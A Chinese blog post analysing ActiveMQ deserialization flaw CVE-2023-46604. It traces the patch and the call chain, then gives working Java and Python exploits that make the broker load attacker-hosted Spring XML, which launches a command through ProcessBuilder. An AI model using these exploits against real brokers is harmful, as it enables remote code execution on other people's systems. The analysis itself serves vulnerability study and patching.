Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞分析 CVE-2023-46604

Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。

OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActiveMQ 5.18.2版本及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作 OpenWire 协议中的序列化类类型,导致代理的类路径上的任何类实例化,从而执行任意命令。

分析补丁内容

查看官方补丁内容

Merge pull request #1098 from cshannon/openwire-throwable-fix · apache/activemq@80089f9 · GitHub

package org.apache.activemq.openwire;

public class OpenWireUtil {

    /**
     * Verify that the provided class extends {@link Throwable} and throw an
     * {@link IllegalArgumentException} if it does not.
     *
     * @param clazz
     */
    public static void validateIsThrowable(Class<?> clazz) {
        if (!Throwable.class.isAssignableFrom(clazz)) {
            throw new IllegalArgumentException("Class " + clazz + " is not assignable to Throwable");
        }
    }
}

这个方法用于验证给定的类是否是 Throwable 的子类,如果不是,则抛出 IllegalArgumentException 异常。

调用的地方

public abstract class BaseDataStreamMarshaller implements DataStreamMarshaller {
	@@ -229,8 +230,11 @@ protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput
    private Throwable createThrowable(String className, String message) {
        try {
            Class clazz = Class.forName(className, false, BaseDataStreamMarshaller.class.getClassLoader());
+            OpenWireUtil.validateIsThrowable(clazz);
            Constructor constructor = clazz.getConstructor(new Class[] {String.class});
            return (Throwable)constructor.newInstance(new Object[] {message});
+        } catch (IllegalArgumentException e) {
+            return e;
        } catch (Throwable e) {
            return new Throwable(className + ": " + message);
        }

在 Apache ActiveMQ 中,BaseDataStreamMarshaller 是用于序列化和反序列化消息数据流的基础类之一。它是 ActiveMQ 的序列化框架中的一个重要组成部分,用于将消息对象转换为字节流以便在网络上传输,并在接收端将字节流还原为消息对象。

在 Apache ActiveMQ 中,Throwable 类通常用于表示可能出现的错误或异常情况。当代码执行过程中出现异常时,可以创建 Throwable 类的实例来表示这个异常,并通过抛出或捕获异常来进行相应的处理。

Class.forName(String className, boolean initialize, ClassLoader loader):这个重载形式允许指定是否初始化类以及类加载器。

  • className:要加载的类的全限定名。

  • initialize:一个布尔值,表示是否初始化类。如果为 true,则会执行类的静态代码块,如果为 false,则不会执行静态代码块。一般情况下,建议设置为 true

  • loader:一个类加载器对象,用于指定加载类的类加载器。如果不指定,则使用调用者的类加载器。

看样子!之前的版本没有检查clazz 属于什么类便实例化了该对象。任意类加载实例化 还有构造参数。

分析调用链

右键find useages - createThrowable

跟进其中一个looseUnmarsalThrowable进行分析

protected Throwable looseUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn)
    throws IOException {
    if (dataIn.readBoolean()) {
        String clazz = looseUnmarshalString(dataIn);
        String message = looseUnmarshalString(dataIn);
        Throwable o = createThrowable(clazz, message);
        if (wireFormat.isStackTraceEnabled()) {
            if (STACK_TRACE_ELEMENT_CONSTRUCTOR != null) {
                StackTraceElement ss[] = new StackTraceElement[dataIn.readShort()];
                for (int i = 0; i < ss.length; i++) {
                    try {
                        ss[i] = (StackTraceElement)STACK_TRACE_ELEMENT_CONSTRUCTOR
                            .newInstance(new Object[] {looseUnmarshalString(dataIn),
                                                       looseUnmarshalString(dataIn),
                                                       looseUnmarshalString(dataIn),
                                                       Integer.valueOf(dataIn.readInt())});
                    } catch (IOException e) {
                        throw e;
                    } catch (Throwable e) {
                    }
                }
                o.setStackTrace(ss);
            } else {
                short size = dataIn.readShort();
                for (int i = 0; i < size; i++) {
                    looseUnmarshalString(dataIn);
                    looseUnmarshalString(dataIn);
                    looseUnmarshalString(dataIn);
                    dataIn.readInt();
                }
            }
            o.initCause(looseUnmarsalThrowable(wireFormat, dataIn));
​
        }
        return o;
    } else {
        return null;
    }
}

在 Apache ActiveMQ 中,looseUnmarshalThrowable 是一个内部方法,用于处理消息的解组(unmarshal)过程中可能出现的异常情况。该方法通常用于在消息传递或序列化过程中尝试恢复消息的内容,以防止丢失信息。

  1. String clazz = looseUnmarshalString(dataIn); 这行代码通过调用 looseUnmarshalString 方法从 dataIn 数据流中读取异常的类名,并将其存储在名为 clazz 的字符串变量中。looseUnmarshalString 方法的作用是从数据流中解析出一个字符串值,然后返回该字符串值。

  2. String message = looseUnmarshalString(dataIn); 这行代码类似于第一行,它也通过调用 looseUnmarshalString 方法从 dataIn 数据流中读取异常的消息,并将其存储在名为 message 的字符串变量中。

继续分析looseUnmarsalThrowable的调用

右键find useages - looseUnmarsalThrowable

跟进其中一个ExceptionResponseMarshaller进行分析

/**
 * Un-marshal an object instance from the data input stream
 *
 * @param o the object to un-marshal
 * @param dataIn the data input stream to build the object from
 * @throws IOException
 */
public void looseUnmarshal(OpenWireFormat wireFormat, Object o, DataInput dataIn) throws IOException {
    super.looseUnmarshal(wireFormat, o, dataIn);
​
    ExceptionResponse info = (ExceptionResponse)o;
    info.setException((java.lang.Throwable) looseUnmarsalThrowable(wireFormat, dataIn));
​
}

继续向上分析looseUnmarshal 的调用

右键find useages - looseUnmarshal 这里有点多慢慢分析...

最终找到一个doUnmarshal的方法

public Object doUnmarshal(DataInput dis) throws IOException {
    byte dataType = dis.readByte();
    if (dataType != NULL_TYPE) {
        DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF];
        if (dsm == null) {
            throw new IOException("Unknown data type: " + dataType);
        }
        Object data = dsm.createObject();
        if (this.tightEncodingEnabled) {
            BooleanStream bs = new BooleanStream();
            bs.unmarshal(dis);
            dsm.tightUnmarshal(this, data, dis, bs);
        } else {
            dsm.looseUnmarshal(this, data, dis);
        }
        return data;
    } else {
        return null;
    }
}

DataStreamMarshaller dsm = dataMarshallers[dataType & 0xFF]; 这行代码的作用是从名为 dataMarshallers 的数组中获取与数据类型对应的 DataStreamMarshaller 对象,并将其赋值给变量 dsm。这里使用了位运算符 & 来确保 dataType 的值在合法范围内(0 到 255),因为数组索引通常要求是非负整数,通过 dataType & 0xFF 可以将 dataType 转换为 0 到 255 之间的值,以便在数组中进行查找。

这里我们需要做如下考虑

1,我们需要dsm等于ExceptionResponseMarshaller ,这样就会调用ExceptionResponseMarshaller 的looseUnmarshal 方法。如此要dataType为31

2,this.tightEncodingEnabled 成立

继续分析doUnmarshal的调用

右键find useages - doUnmarshal

来到unmarshal 方法

@Override
public Object unmarshal(DataInput dis) throws IOException {
    DataInput dataIn = dis;
    if (!sizePrefixDisabled) {
        int size = dis.readInt();
        if (maxFrameSizeEnabled && size > maxFrameSize) {
            throw IOExceptionSupport.createFrameSizeException(size, maxFrameSize);
        }
        // int size = dis.readInt();
        // byte[] data = new byte[size];
        // dis.readFully(data);
        // bytesIn.restart(data);
        // dataIn = bytesIn;
    }
    return doUnmarshal(dataIn);
}

继续向上

右键find useages - unmarshal

来到readCommand()

protected Object readCommand() throws IOException {
    return wireFormat.unmarshal(dataIn);
}

readCommand()<—doRun()<—run()

protected void doRun() throws IOException {
    try {
        Object command = readCommand();
        doConsume(command);
    } catch (SocketTimeoutException e) {
    } catch (InterruptedIOException e) {
    }
}
@Override
public void run() {
    LOG.trace("TCP consumer thread for " + this + " starting");
    this.runnerThread=Thread.currentThread();
    try {
        while (!isStopped() && !isStopping()) {
            doRun();
        }
    } catch (IOException e) {
        stoppedLatch.get().countDown();
        onException(e);
    } catch (Throwable e){
        stoppedLatch.get().countDown();
        IOException ioe=new IOException("Unexpected error occurred: " + e);
        ioe.initCause(e);
        onException(ioe);
    }finally {
        stoppedLatch.get().countDown();
    }
}

至此调用链分析就结束了

要想成功加载恶意类,控制dataIn中的数据即可,

如何制造我们想要的序列化数据呢?

既然有readCommand,那么就会有writeCommand

参考下同类下的oneway方法

@Override
public void oneway(Object command) throws IOException {
    checkStarted();
    wireFormat.marshal(command, dataOut);
    dataOut.flush();
}

有兴趣的话可以分析producer.send(message);是如何到达oneway方法的

在 Apache ActiveMQ 中,当调用 producer.send(message) 发送消息时,消息的发送过程经过了几个步骤,最终会触发 oneway 方法。

  1. producer.send(message):这是消息生产者发送消息的方法调用。在 ActiveMQ 中,消息生产者通过调用这个方法将消息发送到目标队列或主题。

  2. 在 ActiveMQ 的内部实现中,send 方法会触发消息发送逻辑,该逻辑可能涉及到消息的封装、路由、传输等过程,具体取决于 ActiveMQ 的配置和使用方式。

  3. 最终,消息将会被封装成一个命令对象,这个命令对象可能是一个 ProducerInfo 或者其他与消息发送相关的命令对象。

  4. 接着,封装好的命令对象会被传递给底层的传输层,这个传输层可能是通过 TCP、HTTP 或其他协议进行通信。

  5. 在传输层中,消息会经过序列化(将消息对象转换为字节流)和网络传输的过程。

  6. 最终,消息到达了消息代理(broker),并被处理。在消息代理中,可能会调用 oneway 方法来处理接收到的命令对象,并执行相应的操作,比如存储消息、转发消息等。

因此,整个过程是从消息生产者的 send 方法开始,经过消息封装、传输、消息代理处理,最终到达了 oneway 方法。这个过程涉及了消息传输和处理的多个环节,在 ActiveMQ 内部都有相应的逻辑来处理消息的发送和接收。

我们可以直接获取oneway方法,并且传入exceptionResponse

((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);

什么对象可以被利用呢,这里给一个参考

org.springframework.context.support.ClassPathXmlApplicationContext

ClassPathXmlApplicationContext 可以创建bean 可以造成命令执行,如下给出示例

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>touch</value>
                <value>/tmp/activeMQ-RCE-success</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

ClassPathXmlApplicationContext支持网络远程加载,类似这样加载\http://xxxxx.xml 加载到容器里。

构造一个ClassPathXmlApplicationContext 它需要与ExceptionResponse 产生关联,于是便可以这样写

package org.springframework.context.support; 
public class ClassPathXmlApplicationContext extends Throwable{ 
  private String message; 
  public ClassPathXmlApplicationContext(String message) { 
    this.message = message; 
  } 
​
  @Override 
  public String getMessage() { 
    return message; 
  } 
}

之后用ExceptionResponse封装这个类

public class ExceptionResponse extends Response {
​
    public static final byte DATA_STRUCTURE_TYPE = CommandTypes.EXCEPTION_RESPONSE;
​
    Throwable exception;
​
    public ExceptionResponse(Throwable e) {
        setException(e);
    }
​
    ....
}

有如下生成恶意序列化的代码demo

import org.apache.activemq.ActiveMQConnectionFactory;  
import org.apache.activemq.command.ExceptionResponse;  
import org.apache.activemq.transport.AbstractInactivityMonitor;  
import org.springframework.context.support.ClassPathXmlApplicationContext;  
​
import javax.jms.\*;  
import java.io.\*;  
import java.lang.reflect.Method;  
​
public class MQ\_POC {  
    private static final String *ACTIVEMQ\_URL* \= "tcp://172.20.10.7:61616";  
    //定义发送消息的队列名称  
    private static final String *QUEUE\_NAME* \= "tempQueue";  
    public static void main(String\[\] args) throws Exception {  
        //创建连接工厂  
        ActiveMQConnectionFactory activeMQConnectionFactory = new ActiveMQConnectionFactory(*ACTIVEMQ\_URL*);  
        //创建连接  
        Connection connection = activeMQConnectionFactory.createConnection();  
        //打开连接  
        connection.start();  
        Throwable obj2 = new ClassPathXmlApplicationContext("http://172.20.10.4/poc.xml");  
        ExceptionResponse exceptionResponse = new ExceptionResponse(obj2);  
​
        ((ActiveMQConnection)connection).getTransportChannel().oneway(exceptionResponse);  
        connection.close();  
    }  
}

或者使用其他形式生成 序列化数据

import io
import socket
import sys
​
​
def main(ip, port, xml):
    classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))
​
    with socket_obj:
        out = socket_obj.makefile('wb')
        # out = io.BytesIO()  # 创建一个内存中的二进制流
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        # print(list(out.getvalue()))
        out.flush()
        out.close()
​
​
if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
              "http://192.168.0.101:8888/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
参考链接

vulhub/activemq/CVE-2023-46604/README.zh-cn.md at master · vulhub/vulhub · GitHubPre-Built Vulnerable Environments Based on Docker-Compose - vulhub/activemq/CVE-2023-46604/README.zh-cn.md at master · vulhub/vulhubicon-default.png?t=N7T8https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2023-46604/README.zh-cn.md

奇安信攻防社区-【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)奇安信攻防社区-【Web实战】ActiveMQ漏洞分析保姆教程(CVE-2023-46604)icon-default.png?t=N7T8https://forum.butian.net/share/2566

最近更新

  1. TCP协议是安全的吗?

    2024-03-27 16:04:02       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-27 16:04:02       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-27 16:04:02       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-27 16:04:02       18 阅读

热门阅读

  1. ardupilot开发 --- 机载(边缘)计算机-VISP-附录 篇

    2024-03-27 16:04:02       17 阅读
  2. Python GUI编程(Tkinter)

    2024-03-27 16:04:02       16 阅读
  3. 浅析机器学习的常用方法

    2024-03-27 16:04:02       17 阅读
  4. 一些常见的PostgreSQL问题和答案

    2024-03-27 16:04:02       15 阅读
  5. 代码随想录阅读笔记-二叉树【递归遍历】

    2024-03-27 16:04:02       18 阅读